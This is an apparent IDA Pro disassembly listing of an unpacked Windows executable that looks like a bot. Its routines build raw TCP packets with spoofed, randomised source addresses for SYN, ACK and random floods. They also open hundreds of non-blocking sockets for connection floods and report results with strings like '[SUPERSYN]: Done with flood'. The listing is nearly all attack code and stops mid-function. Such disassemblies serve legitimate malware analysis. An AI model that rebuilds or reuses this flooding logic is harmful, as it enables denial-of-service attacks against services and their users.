; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 4FE2F201576D5F10C98BCD2090D7452C ; File Name : u:\work\4fe2f201576d5f10c98bcd2090d7452c_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0008C000 ( 573440.) ; Section size in file : 0008C000 ( 573440.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_40EE72+3A15o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 nop call near ptr 25F085Ah push eax call sub_417300 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013EC add esp, 14h push eax lea eax, [ebp+var_494] push offset unk_426050 push eax call sub_4172AE xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401093 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_40D679 add esp, 14h loc_401093: ; CODE XREF: sub_401000+71j lea eax, [ebp+var_494] push eax call sub_40BF6D push [ebp+var_290] call sub_417076 pop ecx pop ecx push esi call near ptr 25F0320h nop pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010B5 proc near ; CODE XREF: sub_4013EC+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43F5E0 test eax, eax jz short loc_4010F5 xor eax, eax jmp loc_4013E8 ; --------------------------------------------------------------------------- loc_4010F5: ; CODE XREF: sub_4010B5+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43F70C cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013E0 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_43F648 cmp eax, 0FFFFFFFFh jz loc_4013D6 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_43F668 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_43F668 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_43F668 mov [ebp+var_12], ax call sub_41730A movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_43F668 push 12345678h mov [ebp+var_14], ax call dword_43F664 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011C5 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011C5: ; CODE XREF: sub_4010B5+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011E1 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011E1: ; CODE XREF: sub_4010B5+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_401219 call sub_41730A push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41730A push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401219: ; CODE XREF: sub_4010B5+10Ej ; sub_4010B5+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_43F668 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 2600000h lea eax, [ebp+var_1C] push eax nop call near ptr 25F091Fh push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_417760 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401267: ; CODE XREF: sub_4010B5+2E2j ; sub_4010B5+2F0j mov [ebp+var_4], bx call sub_41730A cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43F668 mov [ebp+var_14], ax call sub_41730A mov edi, eax shl edi, 10h call sub_41730A or edi, eax push edi call dword_43F668 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43F664 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43F668 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_4013AA add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 25F091Fh mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013D3 jl loc_401267 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4013D3 jmp loc_401267 ; --------------------------------------------------------------------------- loc_4013AA: ; CODE XREF: sub_4010B5+2CBj call dword_43F5FC push eax lea eax, [ebp+var_F4] push offset unk_426088 push eax call sub_4172AE lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_4013D6 ; --------------------------------------------------------------------------- loc_4013D3: ; CODE XREF: sub_4010B5+2E0j ; sub_4010B5+2EEj mov ebx, [ebp+arg_8] loc_4013D6: ; CODE XREF: sub_4010B5+78j ; sub_4010B5+31Cj push [ebp+var_20] call dword_43F700 pop esi loc_4013E0: ; CODE XREF: sub_4010B5+5Bj call dword_43F5C8 mov eax, ebx loc_4013E8: ; CODE XREF: sub_4010B5+3Bj pop edi pop ebx leave retn sub_4010B5 endp ; =============== S U B R O U T I N E ======================================= sub_4013EC proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_C] mov ebx, eax call sub_41781F mov edi, eax call sub_41730A cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4010B5 add esp, 20h test eax, eax jnz short loc_40143B push 1 pop eax loc_40143B: ; CODE XREF: sub_4013EC+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40144A proc near ; DATA XREF: sub_40EE72+3C03o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_43F6E8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014E5 call dword_43F5FC push eax lea eax, [ebp+var_3BC] loc_401493: ; DATA XREF: ___:off_4282ACo push offset unk_426214 push eax call sub_4172AE xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C8 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4014C8: ; CODE XREF: sub_40144A+5Cj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417076 pop ecx pop ecx push edi call near ptr 25F0320h nop loc_4014E5: ; CODE XREF: sub_40144A+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_43F648 cmp eax, 0FFFFFFFFh jnz short loc_40155C call dword_43F5FC push eax lea eax, [ebp+var_3BC] push offset unk_4261CC push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_40153F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40153F: ; CODE XREF: sub_40144A+D3j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417076 pop ecx pop ecx push edi call near ptr 25F0320h nop loc_40155C: ; CODE XREF: sub_40144A+B3j lea eax, [ebp+var_1B8] push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh jnz short loc_4015C3 lea eax, [ebp+var_3BC] push offset unk_42619C push eax call sub_4172AE cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A6 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4015A6: ; CODE XREF: sub_40144A+13Aj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417076 pop ecx pop ecx push edi call near ptr 25F0320h nop loc_4015C3: ; CODE XREF: sub_40144A+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_43F668 mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_43F6A8 mov esi, dword_424058 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi mov [ebp+var_8], eax loc_401601: ; CODE XREF: sub_40144A+2E8j call esi sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4017AC push 41Ch mov byte_43C3E8, 45h call dword_43F668 cmp [ebp+var_2C], edi mov word_43C3EA, ax mov word_43C3EC, bx mov word_43C3EE, di mov byte_43C3F0, 80h mov byte_43C3F1, bl mov word_43C3F2, di jz short loc_401687 call sub_41730A mov ebx, eax shl ebx, 8 call sub_41730A add ebx, eax shl ebx, 8 call sub_41730A add ebx, eax shl ebx, 8 call sub_41730A add ebx, eax push 1 mov dword_43C3F4, ebx pop ebx jmp short loc_40169F ; --------------------------------------------------------------------------- loc_401687: ; CODE XREF: sub_40144A+20Bj push [ebp+var_1BC] call sub_40AEE0 pop ecx push eax call dword_43F6A8 mov dword_43C3F4, eax loc_40169F: ; CODE XREF: sub_40144A+23Bj mov eax, [ebp+var_18] mov dword_43C3F8, eax call sub_41730A cdq mov ecx, 100h idiv ecx mov byte_43C3FC, dl call sub_41730A cdq mov ecx, 100h idiv ecx mov byte_43C3FD, dl call sub_41730A cdq mov ecx, 0F0h push 400h idiv ecx mov word_43C3FE, di mov word_43C402, bx inc edx mov word_43C400, dx call sub_41730A cdq mov ecx, 0FFh idiv ecx push edx push offset dword_43C404 call sub_417330 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_43C3E8 push [ebp+var_4] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_401737 inc [ebp+arg_0] jmp loc_401601 ; --------------------------------------------------------------------------- loc_401737: ; CODE XREF: sub_40144A+2E3j push [ebp+var_4] call dword_43F700 call dword_43F5FC push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_42613C lea eax, [ebp+var_3BC] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_24], edi jnz short loc_40178F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40178F: ; CODE XREF: sub_40144A+323j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417076 pop ecx pop ecx push edi nop call near ptr 25F0320h loc_4017AC: ; CODE XREF: sub_40144A+1C8j push [ebp+var_4] call dword_43F700 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_4260DC push eax call sub_4172AE add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_401814 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_401814: ; CODE XREF: sub_40144A+3A8j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417076 pop ecx pop ecx push edi call near ptr 25F0320h nop sub_40144A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401831 proc near ; DATA XREF: sub_40EE72+159Do var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401992 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset aSupersynDoneWi ; "[SUPERSYN]: Done with flood (%iKB/sec)" push eax call sub_4172AE xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4018B1 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_4018B1: ; CODE XREF: sub_401831+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417076 pop ecx pop ecx push esi nop call near ptr 25F0320h pop edi pop esi sub_401831 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D0 proc near ; CODE XREF: sub_401992+27p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_43F668 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_40198E push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_40191B: ; CODE XREF: sub_4018D0+B9j lea esi, [ebp+var_654] mov ebx, edi loc_401923: ; CODE XREF: sub_4018D0+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_401946 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_401946: ; CODE XREF: sub_4018D0+64j add esi, 4 dec ebx jnz short loc_401923 lea esi, [ebp+var_654] mov ebx, edi loc_401954: ; CODE XREF: sub_4018D0+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call near ptr 71AB3E5Dh nop add esi, 4 dec ebx jnz short loc_401954 push 64h nop call near ptr 26004EDh lea esi, [ebp+var_654] mov ebx, edi loc_401978: ; CODE XREF: sub_4018D0+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_401978 dec [ebp+arg_4] jnz short loc_40191B pop edi pop esi pop ebx loc_40198E: ; CODE XREF: sub_4018D0+3Ej xor eax, eax leave retn sub_4018D0 endp ; =============== S U B R O U T I N E ======================================= sub_401992 proc near ; CODE XREF: sub_401831+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov edi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov esi, eax push esi push ebx push edi call sub_4018D0 add esp, 18h test eax, eax jnz short loc_4019C8 push 1 pop eax loc_4019C8: ; CODE XREF: sub_401992+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019D7 proc near ; DATA XREF: sub_40EE72+3906o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401D28 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset dword_426280 push eax call sub_4172AE xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401A57 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_401A57: ; CODE XREF: sub_4019D7+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417076 pop ecx pop ecx push esi nop call near ptr 25F0320h pop edi pop esi sub_4019D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A76 proc near ; CODE XREF: sub_401D28+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43F5E0 test eax, eax jz short loc_401AB6 xor eax, eax jmp loc_401D24 ; --------------------------------------------------------------------------- loc_401AB6: ; CODE XREF: sub_401A76+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43F70C cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401D1C push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_43F648 cmp eax, 0FFFFFFFFh jz loc_401D12 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_43F668 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_43F668 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_43F668 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_43F668 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 2600000h lea eax, [ebp+var_8] push eax nop call near ptr 25F091Fh push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_417760 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_401BA1: ; CODE XREF: sub_401A76+25Dj ; sub_401A76+26Bj mov [ebp+var_24], bx call sub_41730A cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43F668 mov [ebp+var_34], ax call sub_41730A mov edi, eax shl edi, 10h call sub_41730A or edi, eax push edi call dword_43F668 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43F664 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43F668 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_401CE6 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 25F091Fh mov eax, [ebp+var_4] cmp eax, esi jg short loc_401D0F jl loc_401BA1 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_401D0F jmp loc_401BA1 ; --------------------------------------------------------------------------- loc_401CE6: ; CODE XREF: sub_401A76+247j call dword_43F5FC push eax lea eax, [ebp+var_F4] push offset dword_4262B8 push eax call sub_4172AE lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_401D12 ; --------------------------------------------------------------------------- loc_401D0F: ; CODE XREF: sub_401A76+25Bj ; sub_401A76+269j mov ebx, [ebp+arg_8] loc_401D12: ; CODE XREF: sub_401A76+78j ; sub_401A76+297j push [ebp+var_C] call dword_43F700 pop esi loc_401D1C: ; CODE XREF: sub_401A76+5Bj call dword_43F5C8 mov eax, ebx loc_401D24: ; CODE XREF: sub_401A76+3Bj pop edi pop ebx leave retn sub_401A76 endp ; =============== S U B R O U T I N E ======================================= sub_401D28 proc near ; CODE XREF: sub_4019D7+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov edi, eax call sub_41730A cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_401A76 add esp, 1Ch test eax, eax jnz short loc_401D73 push 1 pop eax loc_401D73: ; CODE XREF: sub_401D28+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D82 proc near ; DATA XREF: sub_40EE72+2D38o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_424058 call edi push eax call sub_417300 pop ecx push 